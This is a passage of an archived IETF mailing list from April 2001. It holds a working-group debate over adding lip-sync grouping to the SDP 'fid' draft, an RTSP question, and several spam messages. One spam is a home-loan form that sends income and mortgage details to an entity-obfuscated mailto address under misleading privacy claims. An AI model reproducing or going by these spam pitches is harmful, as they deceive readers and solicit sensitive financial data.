a=fsqn: <sqn-num>
a=fpar: <semantics>:<list-of-mids>

The values for "semantics" are

LS - for Lip Synch
AS - for Application Specific

There can be more then one fpar line within an "fsqn" block.

<< Butthis also means that the semantics for those session level attributes
have to be defined, including their possisble "feature interactions".
An extension or registration mechanism has to be put into place for this
as well. >>

This doesn't require SIP "Require header" or any other additional procedures
to signal the support or specific behavior. 

<<There is quite some convincing to be done before I am willing
to go through this kind of hassle for AN INTERIM SOLUTION!>>

Current "fid draft" includes SIP examples to explain the meaning of this
extension. Once the examples will be removed from the draft (as agreed
during the meeting because of the incompatibility with SIP procedures), the
"fid" semantics will become absolutely "application specific" which misses
the whole standardization point.   

Best Regards,
Orit Levin
Chief Architect
RADVISION Inc.
TEL: +1.201.529.4300 x 230
FAX: +1.201.529.3516

-----Original Message-----
From: Joerg Ott [mailto:jo@Informatik.Uni-Bremen.DE]
Sent: Wednesday, April 04, 2001 8:54 AM
To: Gonzalo.Camarillo@lmf.ericsson.se
Cc: confctrl@ISI.EDU; orit@radvision.com; jo@tzi.uni-bremen.de; csp@ISI.EDU
Subject: Re: New requirements for fid?

Folks,

I think Colin and myself have made it clear over the last two IETFs that
we will not allow any further tweaks to SDP or further extensions but
instead focus on the SDPng work.  This is also where folks looking for
further extensions should put their efforts (contributions are rather
limited at the moment though!).

This has also been established consensus at the last two IETF meetings.

> Orit Levin from Radvision has proposed to extend a little bit the fid
> draft to cover, besides a flow consisting of several media streams
> (which is the current purpose of fid), lip-sync as well.

I is a well known deficiency of SDP that it provides no means to link
different streams to each other.  This is one of the issues to address
with SDPng.

Despite this deficiency I have not heard a pressing argument to fix this
while we have been dealing with SDP revisions over the last year.  Given
that SDPng is coming closer we should not go for further feature creep
into SDP; there has been far too much until now.

But there are technical issues as well.

> The syntax would not be difficult to change. I can think right now of
> two ways:
>
> 1) asinging a unique identifier to each media steam and adding a session
> level attribute that groups them and states the semantics (for example,
> m lines 1 and 2 anre grouped for lyp-sync; m lines 2 and 3 are grouped
> because they are a single flow).

This is probably the architecturally cleaner approach (of the two).  But
this also means that the semantics for those session level attributes
have to be defined, including their possisble "feature interactions".
An extension or registration mechanism has to be put into place for this
as well.  There is quite some convincing to be done before I am willing
to go through this kind of hassle for AN INTERIM SOLUTION!

> 2) let the fid as it is and define lid is a similar way. m lines with
> the same lid are grouped for lip-sync.

This would mean that we are likely to come up with 10 other [a-z]id
attributes in the near future for the same purpose.  This does not sound
like a road I want to go down to.

Apparently, the lip-sync stuff only applies to video conferencing or
other *multi* media applications.  However, I'd like to see the
reasoning why this needs to be done, why this can't be done based upon
assumptions (like so many other things with SDP), why this needs to be
done now (and has not been raised before), and why this can't wait for
SDPng.  Even then, I would still be hesitant to allow further features
into SDP.
>
> I would like to get the opinion of the WG. Do folks think that adding
> this funcionality to the fid is appropiate? If so, I can add it and
> release the draft again.
>
> If folks think that the fid is OK as it is and that this functionality
> should not be added, we can progress with the WG last call.
>
We agreed on a WG Last Call at the IETF; given this discussion, I would
liket to postpone this for a moment to give people another chance to
speak up.  But, I would really like to close this and issue a WG Last
Call on the fid document AS IS by the beginning of next week.

Comments?

Cheers,
Joerg

From confctrl-owner  Wed Apr  4 15:05:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA17478
	for confctrl-outgoing; Wed, 4 Apr 2001 15:05:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA17473
	for <confctrl@zephyr.isi.edu>; Wed, 4 Apr 2001 15:05:20 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f34M5Hq19577;
	Wed, 4 Apr 2001 15:05:19 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f34M5AI01522;
	Thu, 5 Apr 2001 00:05:10 +0200 (MEST)
Received: from ericsson.com ([164.48.155.236])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id AAA24393;
	Thu, 5 Apr 2001 00:05:04 +0200 (MET DST)
Message-ID: <3ACB9A8F.70C608A4@ericsson.com>
Date: Thu, 05 Apr 2001 01:05:03 +0300
From: "Miguel A. Garcia" <Miguel.A.Garcia@ericsson.com>
Organization: OY LM Ericsson AB
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: es,en
MIME-Version: 1.0
To: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
CC: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic <confctrl@ISI.EDU>, Orit Levin <orit@radvision.com>,
        Joerg Ott <jo@tzi.uni-bremen.de>, csp@ISI.EDU
Subject: Re: New requirements for fid?
References: <200104041253.OAA18343@rubin.informatik.uni-bremen.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all:

Some thoughts.

It seems to me that the all the standard process we are doing is to allow
interoperability between different vendors solutions. If we stop this,
vendors might implement their own extensions/attribute, and that has no
value at all.

It seems to me that the there are clear market requirements coming from,
at least, three different approaches to allow the SDP to enable different
degrees of synchronization/coupling of a media stream into different flows.

And I see that the proposed solution is quite simple and backwards compatible.

And SDPng is in a very preliminary state.

And an FID draft won't make any interference to the SDPng work.
It won't delayed it, and it won't make any harm

So, having all these thoughts into account, I see no reason why this particular
piece of work must be stopped. 

The proposed fid draft is not an INTERIM solution. There are already enough 
SDP implementations out there requiring this solution, to justify the work.
They can't wait until SDPng is out there, because it will be late. And in 
the event that SDPng would be ready, nobody can force to upgrade all the 
implementations with the latest Session Description Protocol, SDPng, 
SDP New Era or whatever SDP.

My proposal, (if I am allowed to propose something), is to collect the different
ideas and incorporate the suggested changes into the FID draft, so that the 
solution is generic enough to be used by the different proposals, and let the 
draft progress accordingly.

Regards,

       Miguel

Joerg Ott wrote:
> 
> Folks,
> 
> I think Colin and myself have made it clear over the last two IETFs that
> we will not allow any further tweaks to SDP or further extensions but
> instead focus on the SDPng work.  This is also where folks looking for
> further extensions should put their efforts (contributions are rather
> limited at the moment though!).
> 
> This has also been established consensus at the last two IETF meetings.
> 
> > Orit Levin from Radvision has proposed to extend a little bit the fid
> > draft to cover, besides a flow consisting of several media streams
> > (which is the current purpose of fid), lip-sync as well.
> 
> I is a well known deficiency of SDP that it provides no means to link
> different streams to each other.  This is one of the issues to address
> with SDPng.
> 
> Despite this deficiency I have not heard a pressing argument to fix this
> while we have been dealing with SDP revisions over the last year.  Given
> that SDPng is coming closer we should not go for further feature creep
> into SDP; there has been far too much until now.
> 
> But there are technical issues as well.
> 
> > The syntax would not be difficult to change. I can think right now of
> > two ways:
> >
> > 1) asinging a unique identifier to each media steam and adding a session
> > level attribute that groups them and states the semantics (for example,
> > m lines 1 and 2 anre grouped for lyp-sync; m lines 2 and 3 are grouped
> > because they are a single flow).
> 
> This is probably the architecturally cleaner approach (of the two).  But
> this also means that the semantics for those session level attributes
> have to be defined, including their possisble "feature interactions".
> An extension or registration mechanism has to be put into place for this
> as well.  There is quite some convincing to be done before I am willing
> to go through this kind of hassle for AN INTERIM SOLUTION!
> 
> > 2) let the fid as it is and define lid is a similar way. m lines with
> > the same lid are grouped for lip-sync.
> 
> This would mean that we are likely to come up with 10 other [a-z]id
> attributes in the near future for the same purpose.  This does not sound
> like a road I want to go down to.
> 
> Apparently, the lip-sync stuff only applies to video conferencing or
> other *multi* media applications.  However, I'd like to see the
> reasoning why this needs to be done, why this can't be done based upon
> assumptions (like so many other things with SDP), why this needs to be
> done now (and has not been raised before), and why this can't wait for
> SDPng.  Even then, I would still be hesitant to allow further features
> into SDP.
> >
> > I would like to get the opinion of the WG. Do folks think that adding
> > this funcionality to the fid is appropiate? If so, I can add it and
> > release the draft again.
> >
> > If folks think that the fid is OK as it is and that this functionality
> > should not be added, we can progress with the WG last call.
> >
> We agreed on a WG Last Call at the IETF; given this discussion, I would
> liket to postpone this for a moment to give people another chance to
> speak up.  But, I would really like to close this and issue a WG Last
> Call on the fid document AS IS by the beginning of next week.
> 
> Comments?
> 
> Cheers,
> Joerg

-- 
Miguel-Angel Garcia                     Oy LM Ericsson AB
                                        Jorvas, Finland
mailto:Miguel.A.Garcia@ericsson.com     Phone:  +358 9 299 3553
mailto:Miguel.A.Garcia@piuha.net        Mobile: +358 40 5140002

From confctrl-owner  Wed Apr  4 22:30:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA06037
	for confctrl-outgoing; Wed, 4 Apr 2001 22:30:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA06032
	for <confctrl@zephyr.isi.edu>; Wed, 4 Apr 2001 22:30:35 -0700 (PDT)
Received: from pcbtop.lgepcb.com (www.lgepcb.com [165.243.115.24])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f355UXq16116
	for <confctrl@isi.edu>; Wed, 4 Apr 2001 22:30:34 -0700 (PDT)
Received: from ci1 ([208.199.8.101])
	by pcbtop.lgepcb.com (8.8.8+Sun/x.x.x) with SMTP id OAA02950;
	Thu, 5 Apr 2001 14:29:05 +0900 (KST)
From: Specials@computerimagingsupply.com
Message-Id: <200104050529.OAA02950@pcbtop.lgepcb.com>
To: Printer supply consumers<>
Subject: Save $$$ on printer products!
Date: Wed, 04 Apr 2001 22:29:51 -0700
X-Sender: Specials@computerimagingsupply.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Content-Type: text/html; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>

<!--

You are seeing this message because your email reading
software cannot properly read HTML formatted email.
This message is formatted in HTML.

To view all of Computer Imaging Supply's great deals,
simply click on the following link and start enjoying
the savings.

http://www.computerimagingsupply.com

-------------------------------------------------------
Save $$$$ with Computer Imaging Supply Inc.!!!!!
-------------------------------------------------------

Sincerely,

Team Staff

http://www.ComputerImagingSupply.com









-->


<head>
<title>Save $$$$ with Computer Imaging Supply Inc.!!!!!</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF">
<div align="center"><a href="http://www.computerimagingsupply.com/CDindex.html"><img src="http://www.computerimagingsupplies.com/Email/LG/CIS-logo-bevel.gif" width="447" height="74" border="0"></a><font color="#FF0000"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="-1" color="#0033CC"><br>
  </font><font color="#0033CC"><b><font face="Verdana, Arial, Helvetica, sans-serif">THE 
  MOST EXPENSIVE PART OF A PRINTER IS THE SUPPLIES!</font></b></font></b></font></div>
<div align="center"> <font face="Verdana, Arial, Helvetica, sans-serif"><b><font size="-1">Get 
  more value for your money with <a href="http://www.computerimagingsupply.com/CDindex.html">http://www.ComputerImagingSupply.com</a>.</font></b></font><br>
</div>
<div align="center">
  <table width="418" border="0" height="67">
    <tr> 
      <td width="153" bgcolor=#FF9999 height="150"> 
        <div align="center"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"><b><br>
          We have</b><br>
          <font color="#0000CC"><i><b><font color="#0000FF">LOWER</font></b></i></font> 
          <font color="#0000FF"><i><b>PRICES</b></i></font><br>
          <font size="-2"><b><font size="-1" color="#330066">than the office supply 
          superstores on OEM Inkjet/Laser cartridges, FAX supplies & Printer Ribbons!</font> 
          </b></font></font></div>
      </td>
      <td width="125" bgcolor=#6699FF height="150"> 
        <div align="center"> 
          <p><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"><b><font color="Black"><br>
            FREE SHIPPING</font></b><br>
            <i>on all orders!<br>
            </i><b><font color="Black">NO SALES TAX!</font></b><i><br>
            (except CA)<br>
            </i> <font color="Black"><b>100% MONEY BACK<br>
            GURANTEE!</b></font><i><br>
            <font color="#003333">=No Risk To You!</font></i></font> </p>
        </div>
      </td>
      <td width="118" bgcolor=#66FF66 height="150"> 
        <p align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"><b>Check 
          out our</b></font> <i><br>
          <b><font color="#006666" face="Verdana, Arial, Helvetica, sans-serif"> 
          LOW PRICES!</font></b></i></p>
<form>
  <select name="printer Model" onChange="OpenCIS('http://computerimagingsupply.com')">
    <option>Printer Model</option>
    <option>Canon</option>
    <option>Epson</option>
    <option>Hewlett Packard</option>
    <option>Lexmark</option>
    <option>Xerox</option>
  </select>
</form>
        <p align="center"><i><b><font color="#006666" face="Verdana, Arial, Helvetica, sans-serif"><a href="http://www.computerimagingsupply.com/CDindex.html">Click 
          Here!</a> </font></b></i></p>
        </td>
    </tr>
  </table>
  <table width="480" border="0">
    <tr>
      <td width="71" height="67"><img src="http://www.computerimagingsupplies.com/Email/LG/cart1.gif" width="70" height="81"></td>
      <td width="336" height="67"> 
        <div align="center"><i><font color="#0000CC" face="Verdana, Arial, Helvetica, sans-serif"><b><font size="-1">Plus, 
          we carry a full line of OEM quality replacement products and our </font>CIS 
          XL line<font size="-1">. These unique long life products cost less than 
          OEM & they give you <br>
          </font></b></font></i><font color="#0000CC" face="Verdana, Arial, Helvetica, sans-serif"><b> 
          <font color="#FF0000">25% or more prints!</font></b></font></div>
      </td>
      <td width="10" height="67"><img src="http://www.computerimagingsupplies.com/Email/LG/toner1.gif" width="70" height="81"></td>
    </tr>
  </table>
  <table width="552" border="0" bgcolor=#FFFF00>
    <tr>
      <td height="72"> 
        <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif"><b><i><font color="#000099">Example</font></i></b></font><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"><b>: 
          Your printer needs a <font color="#0000FF">Hewlett Packard</font> Series 
          2 Black Cartridge.<br>
          Instead of paying <font color="#666666">$69.99</font> for <font color="#330066">Staples'</font> 
          OEM cartridge, buy our </b></font><b><font face="Verdana, Arial, Helvetica, sans-serif"><font color="#000000">XL</font></font><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"> 
          <br>
          cartridge for only <font color="#FF3333">$64.99</font> and you'll save 
          money. <br>
          You save money & the cartridge has a longer life of up to </font><font face="Verdana, Arial, Helvetica, sans-serif" color="#0000FF">25%</font><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"> 
          </font><font face="Verdana, Arial, Helvetica, sans-serif" color="#0000FF">or 
          more!</font><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"> 
          <br>
          <i><font color="#006666">It's that simple.</font></i></font></b></div>
      </td>
    </tr>
  </table>
  <table width="595" border="0" height="88">
    <tr>
      <td width="391" height="136"> 
        <div align="center"><font size="-2"><b><font color="#000066" face="Verdana, Arial, Helvetica, sans-serif" size="-1">Computer 
          Imaging Supply is ready <br>
          to serve you<font size="-2"> with our world class customer service <br>
          featuring<font size="-1"> LIVE</font> onsite chat. Also, check out our<br>
          featured <font color="#3333FF"><i><font size="-1">FREE GIFT </font></i></font><font size="-1"><i><font color="#0000FF">PREMIUMS</font></i></font>. 
          Visit our secure<br>
          and easy to use website today & you'll receive a<br>
          <i><font color="#CC0000" size="-1">FREE CLEANING KIT</font></i> with 
          your first order ... <br>
          no minimum required!</font></font></b></font></div>
      </td>
      <td width="239" height="136"><a href="http://www.computerimagingsupply.com/CDindex.html"><img src="http://www.computerimagingsupplies.com/Email/LG/hdquarters.gif" width="254" height="115" border="0"></a></td>
    </tr>
  </table>
  <table width="496" border="0">
    <tr>
      <td width="311" bgcolor=#66FF66> 
        <div align="center"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="-1" color="#000033"><br>
          START SAVING $$$ NOW AT:<br>
          </font><font face="Verdana, Arial, Helvetica, sans-serif" color="#000033"><a href="http://www.computerimagingsupply.com/CDindex.html"><font size="-1">http://www.ComputerImagingSupply.com</font></a></font></b></div>
      </td>
      <td width="169" bgcolor=#FF9999> 
        <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"><font color="#0000FF"><b><font color="#003333">Questions? 
          Call our toll free direct <br>
          customer service:<br>
          1-888-289-4624 </font></b></font></font></div>
      </td>
    </tr>
  </table>
  <table width="596" border="0" height="80">
    <tr>
      <td height="90"> 
        <p align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"><font color="#000099">If 
          you are not responsible for printer supply purchasing,<br>
          please forward this e-mail to appropriate persons.</font> <br>
          <font size="-2"><br>
          To be removed form this list, please reply to this e-mail and type "Remove" 
          in the subject field. <br>
          You can also remove your email address by clicking on the following 
          link and hitting send: <br>
          <b>mailto:</b><a href="mailto:remove@computerimagingsupply.com?subject=Remove ">remove@computerimagingsupply.com?subject=Remove</a></font><a href="mailto:remove@usnetloan.com?subject=Remove "><br>
          </a></font><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"><font size="-2">*Price 
          comps are as of 9/1/2000. Free shipping offer good to continental U.S. 
          only. <br>
          Gift premiums awarded at specific purchase levels. No tax available 
          outside CA only. <br>
          Free cleaning kits available while supplies last. </font></font></p>
      </td>
    </tr>
  </table>
</div>
</body>
</html>


From confctrl-owner  Thu Apr  5 03:41:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA17767
	for confctrl-outgoing; Thu, 5 Apr 2001 03:41:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA17755
	for <confctrl@zephyr.isi.edu>; Thu, 5 Apr 2001 03:41:34 -0700 (PDT)
Received: from plmta00.chello.pl (plmta00.chello.pl [213.46.248.62])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f35AfWq12476
	for <confctrl@isi.edu>; Thu, 5 Apr 2001 03:41:33 -0700 (PDT)
Message-Id: <200104051041.f35AfWq12476@tnt.isi.edu>
Received: from hetnet.nl ([213.93.48.181]) by plmta00.chello.pl
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id pl for <confctrl@isi.edu>;
          Thu, 5 Apr 2001 08:03:00 -0100
From: "Rita de Groot" <R.deGroot@hetnet.nl>
To: <confctrl@ISI.EDU>
Subject: huidziekte
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Date: Thu, 5 Apr 2001 11:00:31 +0200
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Vijf jaar voordat deze foto's werden genomen werd bij mij diagnose 
reumatische artritis gesteld en als zodanig ook behandeld. Niets hielp. 
Toen de ziekte zich zo manifesteerde zoals u hieronder kunt zien..........
http://www.naardedokter.com/testimonials/sys_lup_eryth.htm

From confctrl-owner  Thu Apr  5 07:33:47 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA28027
	for confctrl-outgoing; Thu, 5 Apr 2001 07:33:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA28022
	for <confctrl@zephyr.isi.edu>; Thu, 5 Apr 2001 07:33:47 -0700 (PDT)
Received: from samar.sasi.com (samar.sasken.com [164.164.56.2])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f35EXeq03351
	for <confctrl@isi.edu>; Thu, 5 Apr 2001 07:33:41 -0700 (PDT)
Received: from samar (samar.sasi.com [164.164.56.2])
	by samar.sasi.com (8.9.3/8.9.3) with SMTP id UAA10135
	for <confctrl@isi.edu>; Thu, 5 Apr 2001 20:03:27 +0530 (IST)
Received: from sunk2.sasi.com ([10.0.80.2]) by samar.sasi.com; Thu, 05 Apr 2001 20:03:25 +0000 (IST)
Received: from sasi.com (pck-1-240.sasi.com [10.0.82.240])
	by sunk2.sasi.com (8.9.3/8.9.3) with ESMTP id TAA22185
	for <confctrl@isi.edu>; Thu, 5 Apr 2001 19:42:22 +0530 (IST)
Message-ID: <3ACC7D46.270E18A1@sasi.com>
Date: Thu, 05 Apr 2001 19:42:22 +0530
From: Rahul Kumar <rahul@sasken.com>
Organization: Sasken Communication Technologies Ltd
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: RTSP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi!
  I am trying to locate news groups for RTSP related discussions. I got
this URL from a posting. Attached below:
( the last line of the posting gives this email id )
Could you kindly specify the exact newz group for RTSP related
discussions and the process of joiing the same.
Regards,
Rahul Kumar


http://sauce.uio.no/maill/rem-conf/rem-conf-1997/Rem-Conf-May/0165.html
Re: RTSP

Henning Schulzrinne (schulzrinne@cs.columbia.edu)
Fri, 30 May 1997 18:25:06 -0400

    Messages sorted by: [ date ][ thread ][ subject ][ author ]
    Next message: Van Jacobson: "Re: 640x480 support in VIC when using
nv encoding"
    Previous message: Stephane Chatre: "RTSP"
    Maybe in reply to: Stephane Chatre: "RTSP"

Stephane Chatre wrote:
>
> Is any implementation of an RTSP server or client available somewhere?
How
> about some source code?

See http://www.prognet.com/prognet/rt/. I know of at least three other
on-going efforts, but they can speak for themselves, if they want to.

P.S. Note that RTSP discussions take place on confctrl@isi.edu rather
than rem-conf.


From confctrl-owner  Thu Apr  5 20:27:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA00235
	for confctrl-outgoing; Thu, 5 Apr 2001 20:27:57 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA00230
	for <confctrl@zephyr.isi.edu>; Thu, 5 Apr 2001 20:27:56 -0700 (PDT)
Received: from yahoo.com (ilcarb01-79.midwest.net [208.235.13.79])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f363Ruf00188
	for <confctrl@isi.edu>; Thu, 5 Apr 2001 20:27:56 -0700 (PDT)
Date: Thu, 5 Apr 2001 20:27:56 -0700 (PDT)
Message-Id: <200104060327.f363Ruf00188@gamma.isi.edu>
From: educationdeals@yahoo.com
Reply-To: educationdeals@yahoo.com
To: confctrl@ISI.EDU
Subject: EschoolNews
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hey thought I would let you know about about this Paper for Educational Technology.  They have good articles about Education and Technology every month.  Take care.

http://www.eschoolnews.org/showstory.cfm?ArticleID=311

-Derek Stweart

P.S. How is the weather?


From confctrl-owner  Mon Apr  9 03:27:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA04713
	for confctrl-outgoing; Mon, 9 Apr 2001 03:27:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA04706
	for <confctrl@zephyr.isi.edu>; Mon, 9 Apr 2001 03:27:53 -0700 (PDT)
Received: from proxy-server ([159.226.232.36])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f39ARrq24649
	for <confctrl@isi.edu>; Mon, 9 Apr 2001 03:27:54 -0700 (PDT)
Received: from 3dbjit0s.localhost - 208.187.135.252 by proxy-server  with Microsoft SMTPSVC(5.5.1775.675.6);
	 Mon, 9 Apr 2001 18:18:26 +0800
To: @ismi.net
Date: Mon, 09 Apr 2001 03:34:31 -0800
Content-Type: text/html;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
Message-Id: <7w668f2ap.2w8c0lamrmpi3ligfu5v@3dbjit0s.localhost>
Subject: Rates DROPPED! Need Money? Aggressive lenders Say YES to Home Loans! -agllucpmtsh
From: jamses098@hotmail.com
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> <head>   
 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">    
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">    <title>Loan 
Specialists</title> </head> <body> <div align="center">   <center> <table 
BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="600" BGCOLOR="#4BEA1E" > <tr> <td 
WIDTH="100%" bgcolor="#FAF3C5"> <table BORDER=0 CELLSPACING=0 CELLPADDING=0 
WIDTH="100%" > <tr> <td WIDTH="100%" BGCOLOR="#000080"> <p 
align="center"><b><font face="Arial" size="5">&nbsp;</font><font 
color="#FFFFFF" face="Arial" size="4">We are Loan Specialists.....Tap into our 
huge network of Lenders!</font></b><p align="center"><font face="Arial" 
size="4"><b><font color="#FFFFFF">For U.S.A. Homeowners Only</font> <br><font 
color="#FFFFFF">Interest Rates have Dropped.<i>...Start Saving Now!
</i></font></b></font> <p align="center"><font size=4 color="#FFFFFF" 
face="Arial"><b>We Will Shop The Best Loan For You!</b></font> </td> </tr> 
</table>  <p><font face="Arial"><font color="#FF0000"><b>We provide a 100% 
free service</b>  </font><font color="#000080"> which lets you shop for a loan 
conveniently and securely from the comfort of your home. Tap into our huge 
network of lenders across the U.S. with different appetites for different 
types of credit/equity profiles.&nbsp; Even if you're currently working with 
another lender or have been turned down before, we can still help and 
structure a program that may just make some sense to you.&nbsp;</font></font> 
<p><b><font face="Arial" color="#FF0000">Our loan programs can get you the 
cash you need for:</font></b> <ul> <li> <font face="Arial" 
color="#000080">Debt Consolidation</font></li>  <li> <font face="Arial" 
color="#000080">2nd Mortgage</font></li>  <li> <font face="Arial" 
color="#000080">Refinance</font></li>  <li> <font face="Arial" 
color="#000080">Credit Repair</font></li>  <li> <font face="Arial" 
color="#000080">Home Improvement</font></li>  <li> <font face="Arial" 
color="#000080">New Car</font></li>  <li> <font face="Arial" 
color="#000080">Dream Vacation</font></li>  <li> <font face="Arial" 
color="#000080">College Tuition</font></li>  <li> <font face="Arial"><font 
color="#000080">To start a new business</font> <b><i><font color="#0000FF">..
and much, much more!</font></i></b></font></li> </ul>  <p 
align="center"><b><font face="Arial" color="#FF0000">Funding borrowers with 
less than perfect credit is our specialty!</font></b> <p align="center"><font 
face="Arial" color="#000080" size="3"><b>We can get you the loan you need.
&nbsp;<br> Regardless of whether you have good or bad credit, we can help you.
</b></font></p> <p align="center"><font face="Arial"><b><font size="3" 
color="#FF0000">Ready to get started?&nbsp;</font></b> <br><font 
color="#000080">Simply fill out the our 60 second form, and we'll begin 
shopping for your loan.</font><br> &nbsp;&nbsp;<br> <b><font size="3" 
color="#0000FF"> It's that easy!&nbsp;</font></b><br> <font size="4" 
color="#000080"><b>We Make the Lenders Compete for <u>YOUR</u> Business!
</b></font></font>    </center> <p align="center"><center><font face="Arial" 
size="3" color="#000080"><b>Please complete this form.<br> Our loan specialist 
will be contacting you at your convenience.<br> Thank You.</center> 
</b></font><script language="JavaScript">        <!--         function 
validate_form() {        validity = true; // assume valid        if (!
check_empty(document.form.Name.value))        { validity = false; alert('Name 
field is empty!'); }        if (!check_empty(document.form.HPhone.value))      
  { validity = false; alert('Home Phone field is empty!'); }        if (!
check_empty(document.form.PropertyValue.value))        { validity = false; 
alert('Property Value field is empty!'); }        if (!check_empty(document.
form.PurchasePrice.value))        { validity = false; alert('Purchase Price 
field is empty!'); }        if (!check_empty(document.form.YearAcquired.
value))        { validity = false; alert('Year Acquired field is empty!'); }   
     if (!check_empty(document.form.Mortgage1.value))        { validity = 
false; alert('First Mortgage Balance Field is empty!'); }        if (!
check_empty(document.form.CurrentIntRate.value))        { validity = false; 
alert('First Mortgage Interest Rate field is empty!'); }        if (!
check_empty(document.form.BorrowRequest.value))        { validity = false; 
alert('Amount You Wish To Borrow field is empty!'); }        if (!
check_empty(document.form.MonthlyGrIncome.value))        { validity = false; 
alert('Gross Monthly Income field is empty!'); }        (validity)        
alert ("Thank you for your registration! "        + "Your form is now being 
passed to your browser's "        + "Mail Delivery Sub-System for NORMAL"      
  + " NON-ENCRYPTED email delivery."        + " All email addresses are 
removed from our system"        + " upon registration. Please click OK to 
proceed");        return validity;        }        function check_empty(text) 
{        return (text.length > 0); // returns false if empty        }        
// -->        </script> </p> <form name="form" onsubmit="return 
validate_form()" action="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#109;&#111;
&#114;&#116;&#109;&#97;&#105;&#108;&#56;&#64;&#121;&#97;&#104;&#111;&#111;&#46;
&#99;&#111;&#109;&#63;&#115;&#117;&#98;&#106;&#101;&#99;&#116;&#61;&#77;&#111;
&#114;&#116;&#103;&#97;&#103;&#101;&#45;&#67;&#111;&#110;&#116;&#97;&#99;&#116;
" method="POST" encType="text/plain">   <center>   <table cellSpacing="0" 
cellPadding="0" width="552" bgColor="#993366" border="0">     <caption>&nbsp;
</caption>     <tbody>     </tbody>   </center>   <tbody>     <tr>       <td 
noWrap align="left" width="536" bgColor="#000080" colSpan="2"><center><b><font 
size="+0" color="#ffffff" face="Arial">Contact         Information: * Required 
Info</font></b></center></td>     </tr>     <tr align="middle">       <td 
align="right" width="208" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Name:</font></td>       <td align="left" width="328" 
bgColor="#000080"><input maxLength="60" size="29" name="Name"><font 
color="#ffffff">*</font></td>     </tr>     <tr align="middle">       <td 
align="right" width="208" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Address:</font></td>       <td align="left" width="328" 
